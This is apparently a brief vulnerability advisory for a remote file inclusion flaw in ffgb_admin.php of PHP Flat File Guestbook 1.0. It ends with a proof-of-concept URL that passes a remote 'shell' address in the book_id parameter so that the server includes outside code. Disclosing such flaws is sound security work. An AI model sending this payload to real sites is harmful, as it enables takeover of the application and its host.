PHP Flat File Guestbook 1.0 - ffgb_admin.php Remote File Inclusion

source: https://www.securityfocus.com/bid/49138/info

PHP Flat File Guestbook is prone to a remote file-include vulnerability because it fails to sufficiently sanitize user-supplied input.

Exploiting this issue may allow an attacker to compromise the application and the underlying system; other attacks are also possible. 

http://www.example.com/[path]/ffgb_admin.php?book_id=http://shell?